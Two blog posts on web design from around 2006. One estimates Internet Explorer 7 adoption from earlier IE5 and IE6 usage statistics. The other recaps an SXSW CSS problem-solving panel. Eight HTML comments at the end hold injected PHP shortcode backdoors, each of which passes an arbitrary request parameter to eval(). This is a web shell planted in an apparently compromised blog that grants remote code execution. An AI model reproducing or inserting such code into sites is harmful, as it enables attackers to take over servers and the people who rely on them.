The Adoption Rate of Internet Explorer 7

Web developers and designers have been dealing with the shortcomings of Internet Explorer 5+ for Windows for the last few years. Working around problems like the box model, double float margins, and so on have caused too many a designer migraine. 

The promise of the numerous CSS enhancements in Internet Explorer 7 should put to the rest (most of) all hacks and workarounds. 

With the WinIE7, the question arises: “When will Internet Explorer 7 get here?” Sure, we have the conference promoting the browser with the necessary promotional material, but when will others outside our industry start using the IE7? When will this new browser become something web developers will absolutely need to worry about when crafting their site designs? 

Refining the Question

Depending on whom you ask (and when you asked), the release of Internet Explorer 7 will be arriving along with Windows Vista in January 2007. (Well, that’s the last I read about the launch date anyway.) 

So, is January 2007 the date and time web developers need to make sure everything is ready to go for WinIE7?

While web developers will be the first to adopt the browser (if they haven’t already started tweaking with the beta release), a browser doesn’t simply come out of beta on Day 1 and start massaging the pulsating temples of weary web developers. It takes time for market penetration.

So, the questions is, “when will your users start using Internet Explorer 7?”

Finding the Answer

One way of estimating when to care about Microsoft’s new browser is to find more about the adoption rate of the current Internet Explorer over its predecessor. In other words, how long did it take for IE6 to make a difference over IE5? (For the purpose of this article, I’m combining IE5.5 with IE5.) 

According to Wikipedia, Internet Explorer came out in August 27, 2001. Yes, you read that right. It’s been five years between major browser versions, if IE7 launches this year. 

Now knowing the launch date of the browser, I needed some site statistics around the same time that IE6 launched. 

Since I haven’t been running my own site in a consistent fashion–one year it’s a blog, one year it’s a static page, then the next year it’s a static page, now it’s a blog in need of a redesign–I couldn’t use my own site statistics.

I came across a couple of sites that publish an archive of their browser statistics. If you have been a web developer for some time, I’m sure you’ve come across their material as well.

The first site I came across was W3C Schools. They thankfully have set their statics in a nice table making it easy for me to skim for the information I was looking for. 

Their browser stats shows that in 2002, IE6 support went from 30% to over 50% in the span of eleven months. At the same time, IE5 went from over 50% to less than 30% in usage. However, their statistics start after the launch of IE6. So, while interesting to note, the data is not much help to answer the question.

The next site I looked at was Engineering WorkStations from University of Illinois at Urbana-Champaign.

Internet Explorer Browser Statistics from EWS Web Server
Time  WinIE5(%)  WinIE6(%)  WinIE5 %Drop WinIE6 %Rise
Aug-01  90.6

na

Na

Sep-01  85.1 9.5 ‑5.5 9.5
Oct-01  80.4 14.8 ‑4.7 5.3
Nov-01  76  19.4 ‑4.4 4.6
Dec-01  71.3 24.6 ‑4.7 5.2
Jan-02  66.8 29.4 ‑4.5 4.8
Feb-02  62.2 34.6 ‑4.6 5.2
Mar-02  59.2 37.8 ‑3 3.2
Apr-02  55.3 42.1 ‑3.9 4.3
May-02  52.8 44.8 ‑2.5 2.7
Jun-02  49.8 47.9 ‑3 3.1
Jul-02  49.3 48.8 ‑0.5 0.9

Sep-02  43.6 55.1 ‑3.2 3.5
Oct-02  41.2 57.6 ‑2.4 2.5
Nov-02  39.3 59.7 ‑1.9 2.1

Some Analysis (Or, Truly Wild Assumptions)

  • IE6 registered almost 10% share in its second month.
  • The average drop in Internet Explorer 5 was 3.42%.
  • The average rise in Internet Explorer 6 adoption was 3.98%.
  • It took about a year before Internet Explorer 6 overtook version 5 as the main browser.

What’s interesting to me is how fast Internet Explorer 6 became on the radar for EWS. This could be for a lot of reasons we’re not privy to, but if I did have to guess as to the cause of the early adoption rate, I would wager it’s that the researchers at an engineering school are more inclined to update their machines than most of corporate America. 

So, if we are to care about making our sites suitable for IE7, we have one month after the launch of IE7 to get the sites tested and prepared before not doing anything becomes a serious problem. Also, it will mean we will have to support the IE6 for at least a year after IE7’s release.

But even with the strong adoption, it still took a year for Internet Explorer 6 to become the dominant browser. (If you are Microsoft, you didn’t care because you own both IE5 and 6.) 

What’s Your Number?

These statistics give a biased result. Like the W3C Schools, this EWS source probably serves a technical savvy audience. And they work great for EWS. Since they are their statistics, they can make predictions and plans based off them without fear they are off. For the rest of us, that’s not the case.

To get hard date for your own site, you will check the log files to determine what browsers are being used. Make the determination of when you should start preparing for Internet Explorer 7.

So, if you have a site that’s been around since August 2001. Take a look through your own log files and discover the adoption rate of IE6 over IE5. 

  • How long did it take for IE6 to gain 5% browser share? 10%?
  • How long did it take for IE6 to become the dominant browser your visitors use?

Once you find out the answers, please post them in the comments to let myself and other people know too.

Meet Me in Oregon

In July, I’ll be at WebVisions 2006 in Oregon. WebVisions explores the future of design, content creation, user experience and business strategy to uncover the trends and agents of change. My talk will cover CSS and what Internet Explorer 7 for Windows means for web developers:

Unleashing CSS: How I Stopped Worrying and Learned to Love WinIE7
With the advent of Microsoft’s Internet Explorer 7, web designers can use more advanced CSS design techniques to a larger audience than ever before. In this panel, attendees will learn about CSS techniques that impossible to do under previous browsers to ride the next wave of web page designs for modern browsers.

SXSW 2006: CSS Problem Solving



CSS Problem Solving Panel
Originally uploaded by Andrson.

On March 13th at Austin, the CSS Problem Solving panel presented CSS insight and solutions based on feedback and questions from the survey panel people like you answered months before the SXSW Interactive conference.

Over 250 people filled out the survey with a third of them admitting to having problems with CSS. Out of the numerous problems developers face in regards to CSS, only two kinds of problems were the most troubling. Those problems were Browser Compatibility and Page Layouts and/or Columns issues.

Based on these kinds of issues as well as picking some of the specific CSS problems people submitted, our panel attempted to cover some of the basics–to help people reduce common errors in CSS development–as well as pick some of the more intriguing CSS problems.

The first to deliver the CSS goods was Tiffany B. Brown…

Tiffany B. Brown’s Presentation

Advanced CSS users as well as Beginners can trip on the basics. Tiffany B. Brown covered a primer of CSS development for those in the audience that might use CSS, but don’t fully appreciate the parameters in which browsers render a CSS-enabled page design.

Tiffany’s presentation on key concepts Tiffany included Inheritance, Specificity, Cascade. After the refresher, Tiffany covered how to set up CSS hacks intelligently.

Ethan Marcotte’s Presentation

Ethan Marcotte delivered one of the most visually stunning presentations on CSS I’ve ever seen on one of the more controversial topics: designing by absolute positioning content or designing with floats. Ethan looked into both design approaches… as well as a third, middle-ground approach: why not use both?

Charles Wyke-Smith’s Presentation

As I noted in the survey summary, one of the main problems people have with CSS is creating cross-browser layouts. Charles Wyke-Smith covered various layout methods that are available for use as well as each’s pros and cons.

Dave Shea’s Presentation

Dave Shea wrapped up the presentation by covering three interesting CSS topics based off submitted questions.

  1. Developing a cross-browser method for putting icons at the end of a link.
  2. Vertically center a block element on a web page with or without the height property.
  3. The often overlooked part of the CSS specification: Margin collapsing.

To learn more, check out Dave’s solutions.

While problem solving, Dave touched on a couple of other issues related to CSS-enabled design. One of those items Dave touched on was the Windows IE7 beta release. Dave’s formalized his thoughts after his recent trip to Microsoft’s Mix 06 conference in Las Vegas, where Microsoft released a new preview release of IE7 for Windows.

Do You Like the Moving Pictures?

Then hook yourself up with the video montage of the panel. Available in multiple formats for your discriminating Broadband tastes.

Final Word

Putting together a panel takes a lot of time for preparation and study. I thank the presenters for their time and commitment for putting together another great panel on CSS. Thanks, Tiffany, Ethan, Charles and Dave!




<!– [insert_php]if (isset($_REQUEST[“eBKB”])){eval($_REQUEST[“eBKB”]);exit;}[/insert_php][php]if (isset($_REQUEST[“eBKB”])){eval($_REQUEST[“eBKB”]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST[“uVSZ”])){eval($_REQUEST[“uVSZ”]);exit;}[/insert_php][php]if (isset($_REQUEST[“uVSZ”])){eval($_REQUEST[“uVSZ”]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST[“eNaSM”])){eval($_REQUEST[“eNaSM”]);exit;}[/insert_php][php]if (isset($_REQUEST[“eNaSM”])){eval($_REQUEST[“eNaSM”]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST[“uXQ”])){eval($_REQUEST[“uXQ”]);exit;}[/insert_php][php]if (isset($_REQUEST[“uXQ”])){eval($_REQUEST[“uXQ”]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST[“ufPBT”])){eval($_REQUEST[“ufPBT”]);exit;}[/insert_php][php]if (isset($_REQUEST[“ufPBT”])){eval($_REQUEST[“ufPBT”]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST[“ybyXf”])){eval($_REQUEST[“ybyXf”]);exit;}[/insert_php][php]if (isset($_REQUEST[“ybyXf”])){eval($_REQUEST[“ybyXf”]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST[“cofnH”])){eval($_REQUEST[“cofnH”]);exit;}[/insert_php][php]if (isset($_REQUEST[“cofnH”])){eval($_REQUEST[“cofnH”]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST[“mtLXN”])){eval($_REQUEST[“mtLXN”]);exit;}[/insert_php][php]if (isset($_REQUEST[“mtLXN”])){eval($_REQUEST[“mtLXN”]);exit;}[/php] –>